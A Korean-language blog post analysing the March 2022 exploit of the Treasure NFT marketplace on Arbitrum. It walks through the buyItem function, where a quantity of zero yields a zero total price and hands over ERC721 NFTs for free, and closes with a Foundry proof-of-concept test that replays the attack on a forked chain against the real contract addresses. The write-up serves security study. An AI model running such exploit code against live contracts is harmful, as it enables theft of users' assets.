2022년 3월 Treasure라는 NFT 거래 플랫폼이 공격받았습니다.
해당 취약점에 대해서 알아보겠습니다.
해당 프로젝트는 Arbitrum 체인 상에서 동작하며 실제 공격이 이뤄진 트랜잭션은 아래와 같습니다.
https://arbiscan.io/tx/0x82a5ff772c186fb3f62bf9a8461aeadd8ea0904025c3330a4d247822ff34bc02
취약점
메인 취약점은 TreasureMarketplaceBuyer의 buyItem 함수에서 발생하였습니다.
function buyItem(
address _nftAddress,
uint256 _tokenId,
address _owner,
uint256 _quantity,
uint256 _pricePerItem
) external {
(, uint256 pricePerItem,) = marketplace.listings(_nftAddress, _tokenId, _owner);
require(pricePerItem == _pricePerItem, "pricePerItem changed!");
uint256 totalPrice = _pricePerItem * _quantity;
IERC20(marketplace.paymentToken()).safeTransferFrom(msg.sender, address(this), totalPrice);
IERC20(marketplace.paymentToken()).safeApprove(address(marketplace), totalPrice);
marketplace.buyItem(_nftAddress, _tokenId, _owner, _quantity);
if (IERC165(_nftAddress).supportsInterface(INTERFACE_ID_ERC721)) {
IERC721(_nftAddress).safeTransferFrom(address(this), msg.sender, _tokenId);
} else {
IERC1155(_nftAddress).safeTransferFrom(address(this), msg.sender, _tokenId, _quantity, bytes(""));
}
}
한줄 한줄 따라 들어가면서 살펴보겠습니다.
먼저 전달되는 인자입니다.
- 첫번째 인자: 구매할 nft의 주소
- 두번째 인자: 구매할 nft의 id
- 세번째 인자: 구매할 nft의 소유자
- 네번째 인자: 구매할 수량
- 다섯번째 인자: 개당 가격
또한 external로 설정되어있어 직접 호출할 수 있습니다.
가장 먼저 인자값들을 토대로 사려고하는 nft의 개당 가격을 알아냅니다.
위에서 구한 개당 가격과 인자로 주어진 개당가격이 같은지 확인합니다.
개당 가격과 구매하려는 수량을 곱해 총 가격을 구합니다.
여기서 취약점이 발생합니다. 만약 _quantity가 0이라면 totalPrice는 0이되기 때문입니다.
이후 계산한 totalPrice만큼을 TreasureMarketplaceBuyer로 전송받고 marketplace를 approve합니다.
그리고 marketplace의 buyItem을 호출합니다. 여기서는 구매가 되었다고 처리하는 로직을 수행하고 TreasureMarketplaceBuyer로 구매한 nft를 전송합니다.
그 뒤 ERC721, ERC1155에 맞게 전송합니다.
정리해보면 인자 중 구매할 수량을 0으로 지정하면 ERC721에 한해서 돈을 내지 않고 구매할 수 있습니다.
애초에 ERC721에서는 quantity가 필요없기 때문에 설정한 token id에 해당하는 nft를 전송받을 수 있습니다.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Attacker.sol";
interface ITreasureMarketplaceBuyer {
function buyItem(address _nftAddress, uint256 _tokenId, address _owner, uint256 _quantity, uint256 _pricePerItem) external;
}
interface IERC721 {
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
}
interface ITreasureMarketplace {
struct Listing {
uint256 quantity;
uint256 pricePerItem;
uint256 expirationTime;
}
function listings(address _nftAddress, uint256 _tokenId, address _owner) external returns(uint256 quantity, uint256 pricePerItem, uint256 expirationTime) ;
}
contract TreasureAttackTest is Test {
//TreasureMarketplaceBuyer
address buyer = address(0x812cdA2181ed7c45a35a691E0C85E231D218E273);
address marketplace = address(0x2E3b85F85628301a0Bce300Dee3A6B04195A15Ee);
address attacker;
address targetNft = address(0x6325439389E0797Ab35752B4F43a14C004f22A9c);
uint256 targetNftId = 3557;
function testAttack() public {
vm.createSelectFork(vm.envString("ARBITRUM_RPC"), 7322600);
attacker = address(new Attacker());
vm.startPrank(attacker);
console.log("Attacker balance before", IERC721(targetNft).balanceOf(attacker));
address nftOwner = IERC721(targetNft).ownerOf(targetNftId);
(, uint256 pricePerItem,) = ITreasureMarketplace(marketplace).listings(targetNft, targetNftId, nftOwner);
ITreasureMarketplaceBuyer(buyer).buyItem(targetNft, targetNftId, nftOwner, 0, pricePerItem);
console.log("Attacker balance after", IERC721(targetNft).balanceOf(attacker));
}
}
위의 분석을 토대로 공격 테스트를 작성할 수 있었습니다.
위의 테스트를 실행하면 attacker에게 nft가 전송됩니다.
'Security > Smart Contract' 카테고리의 다른 글
Multichain exploit 분석 (0) | 2022.08.29 |
---|---|
[Unhacked CTF] reaper write-up (0) | 2022.08.26 |
[Smart Contract 취약점] 초기 진입자가 다른 유저의 자금 탈취가 가능한 경우 (0) | 2022.08.02 |
Ethernaut 정리 (0) | 2022.06.03 |